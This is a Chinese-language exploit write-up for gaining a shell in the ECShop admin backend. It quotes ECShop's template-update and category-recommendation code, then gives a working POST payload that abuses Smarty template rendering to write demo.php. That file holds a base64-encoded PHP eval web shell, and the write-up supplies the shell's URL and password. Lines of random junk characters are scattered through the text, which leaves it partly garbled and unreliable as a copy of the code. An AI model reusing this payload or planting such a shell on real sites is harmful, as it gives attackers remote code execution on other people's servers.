Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
' K, T- ^3 _+ E/ _
* o2 k0 u4 d' B/ l而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
" l/ q' B- ?, b, n7 ], A* W但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php

9 |' U* {1 H2 Y: N0 w1 if ($_REQUEST['act'] == 'update_library')

6 W, D6 V) ^+ x" w2   

3 {

4     check_authz_json('library_manage');

5   
% r/ {& B& ~, N& j3 m4 D  w* d$ M
" L* \. g" d+ Z6     $html = stripslashes(json_str_iconv($_POST['html']));

9 P! p5 L/ q; \7   

% h4 z+ _* |9 k! i+ `8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

9   

: G, `2 ?, }% u8 m7 v& q' e% {9 u10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

  L  \8 a1 o4 H' `2 ?5 A  N11   

+ ~$ a" _! d) q6 H1 A. k12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
- Z/ g0 o$ d9 v" k
13   
) T7 e: N! L: m* S* X8 Q0 l
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
  i/ s1 n& W8 v! _6 C
15     {

16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);

# t# @3 b% r* V" Y* v17         make_json_result('', $_LANG['update_lib_success']);
# O  E$ h# C" w, F2 h( x
18     }
" u7 |6 O$ c  H! L" o
: {- g5 x8 c' p1 X( ~8 i4 Z/ a19     else

# s9 d( N6 M( n0 x' I20     {

21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

22     }

23 }

/ [, J# U/ Q' K0 ?% _那么找个比较方便调用了模板的文件
index.php

1 if ($act == 'cat_rec')

2   

3 {
: R" Y8 r0 O) g& T/ S- a
4 t/ S2 `. v6 X3 S# a# q3 k0 q# \4   
5 w. O6 ^0 |. G$ t  x! g
1 E! J9 `4 x4 A0 Y. E5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
: b1 |. r; H  G$ D" z% ]2 s
& J& N0 R' {; [& y. B0 k9 X. w6   

7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

8   
! L$ b, {" p: m; P
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

10   
& C& [7 _5 r" ]6 F7 Z/ t  Y3 z9 G
11     include_once('includes/cls_json.php');
  K  r* x4 ^' p  M) k7 _
12   

13     $json = new JSON;

14   
3 c8 g' a" g- O6 H# R$ r$ C( @  A0 `
6 y! ~2 x6 H% n- o9 k/ Z15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
" f) K* L5 Q( l# f9 _% T
16   
2 ?4 {/ a: }; `% C" K* }( ], h5 v
  [" C" z* ]  g& u# W17     $children = get_children($cat_id);

# r& e4 O9 ?. e- u18   
9 I9 j' S4 J* I1 Q* a
% s8 j: P$ k! E% y19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
: V# q: z" }3 m5 x  i2 r
20   

21     $smarty->assign('cat_rec_sign', 1);

, V% u( R+ q! W5 I6 g# T" f5 C2 u* u6 P22   
7 R! d( j  N8 @! ^4 X/ z& @
, p, {6 u. s% z  H% ^23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

" M& n  G) O% D24   

. {( Z. i1 z# y4 x* x! o! }25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

* L: F# h0 i' t& e0 z+ E26   

/ O3 b) V! l; V, y) g9 p27         echo $rec_array[$rec_type];
: f8 i: H$ y9 J! |
8 a1 \3 h! b* |/ s$ e" W28   
5 z* W8 d' k4 H! r: B- G) y
29     die($json->encode($result));

+ a! l) ^; L' y. }30   

6 w1 z3 A, G# {7 L2 C- Y) [) {31 }
5 @9 h7 P  V7 B) Z
那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
Post内容：
" ~1 w1 Z4 J, w
​
$ K2 f; G  P& A6 ], S/ C+ P1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

然后访问http://localhost/ec/index.php?act=cat_rec
: m1 ]3 P/ q( l/ |4 a  ~! c
4 N* T6 O2 K! Ushel地址：http://localhost/ec/demo.php
密码c